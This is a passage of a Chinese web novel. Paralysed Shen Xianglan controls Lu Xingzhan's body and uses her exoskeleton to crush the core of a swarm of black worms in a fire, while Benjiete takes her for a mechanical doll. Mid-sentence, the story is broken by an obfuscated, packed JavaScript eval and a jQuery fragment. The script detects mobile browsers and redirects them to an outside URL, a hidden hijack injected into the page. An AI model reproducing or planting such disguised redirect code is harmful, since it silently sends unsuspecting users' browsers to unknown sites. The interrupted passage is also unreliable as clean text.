“我能干什么?我什么都干不了。”怪物语调尖锐,似笑似讽。 不是怪物干的,就只能是沈相兰干的了。 陆行湛被操控着走向沈相兰,他推着沈相兰的轮椅,把她推到了火圈旁边。 暖融融的火光照在她的皮肤上,映得她的皮肤像是黄昏傍晚的晚霞。 “这是什么?她好像没动过,是你制作的机械人偶吗?”本杰特问,“很精湛的技术,尤其是她的表面仿生皮,跟真的一样。” 陆行湛心想她就是真的,动不了是因为瘫痪了。 但沈相兰没发话,他不敢瞎说。 沈相兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449197|185245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在没空留意外面的环境了,她听不见陆行湛与本杰特的对话,此时她将所有能调动的感官都汇集到了火圈里躺着的不明人形生物上。 她必须杀死这个东西。 如沈相兰所料,这个人类躯体里装着的全都是黑色细线一样的虫子,火焰将皮囊烤化,虫子像被戳破的芝麻汤圆一样流出来。 漆黑的,线条一样的恶心东西。 这些东西存在一个“核心”。 陆行湛在控制之下解开了固定沈相兰的颈带,他伸出一只胳膊揽住陆行湛的颈部,另一只手摸出来了控制机械外骨骼的按钮。 在外骨骼的操控下,沈相兰的右臂穿过了熊熊燃烧的火焰,朝着里面那一摊不明生物伸出手去。 她的手指转瞬之间被黑色细线一样的虫子包围,那些虫子像是潮水一样,瞬间吸附在沈相兰的皮肤上,想通过她的手臂往外爬。 但无一例外,这些黑色的虫子全都死于火焰灼烧。 “她的仿生皮很昂贵吧,就这样烧毁了?”本杰特问,他注意到了沈相兰身上的缝合线,“她身上的缝合线也很酷,这是你设计的吗?没有诋毁你xp的意思,我只是觉得这样大面积的缝合线不太好看,可以保留小部分。” 陆行湛表情扭曲了一瞬。 老东西你还怪时髦的,你知道你在跟谁说话吗? 陆行湛现在感觉自己被割成了两个部分,他的意识在游荡,眼睛能看见沈相兰的手在一滩黑色细线里摸索,耳朵能听到本杰特的癫人癫语。 他的一只胳膊架在沈相兰的脖子上,甚至能感受到沈相兰皮肤下深埋血管的脉动。 但他无法控制自己的身体,哪怕他现在拿着操控外骨骼的按钮,他也无法违背沈相兰的意志移开手指。 沈相兰控制了他的躯体,让他被动感受这一切。 她现在是什么感觉呢? 陆行湛忍不住想。 沈相兰的精力高度集中,她在潮水一样密集的虫群之中抓到了一个特殊的存在。 她操控陆行湛的手,对机械外骨骼下达了抓握命令。 细线一样的虫子从她的指缝逃离,但她抓住的那只虫子很肥,它钻不出沈相兰的指缝。 火圈之中的虫子彻底疯了。 它们意识到了自己的敌人是沈相兰,发了疯一样地攻击她,有的虫子想撑开她的指缝,有些虫子想通过缝合线钻进她的血肉,还有的虫子不畏惧烈焰焚身,朝着沈相兰的上半身钻去。 可惜,这些都是无用功。 陆行湛感觉自己的手已经把抓握按键摁废了,绿色的血液从沈相兰的指缝中爆裂溢出,躁动的虫群瞬间静止。 一切结束。 陆行湛感觉身体的控制权回来之后,一把将沈相兰的胳膊拽了出来。 “祖宗您真不要命了?你胳膊是肉做的,外面的外骨骼还是铁疙瘩,你在拿自己现场做铁板烤肉呢?”陆行湛通过规则线疯狂尖叫,他摸了摸沈相兰的外骨骼,被烫得差点跳起来。 沈相兰的反应堪称平淡,她还能分出心思安排本杰特。 “让那个叫本杰特的去处理这条街上右眼变色的人。”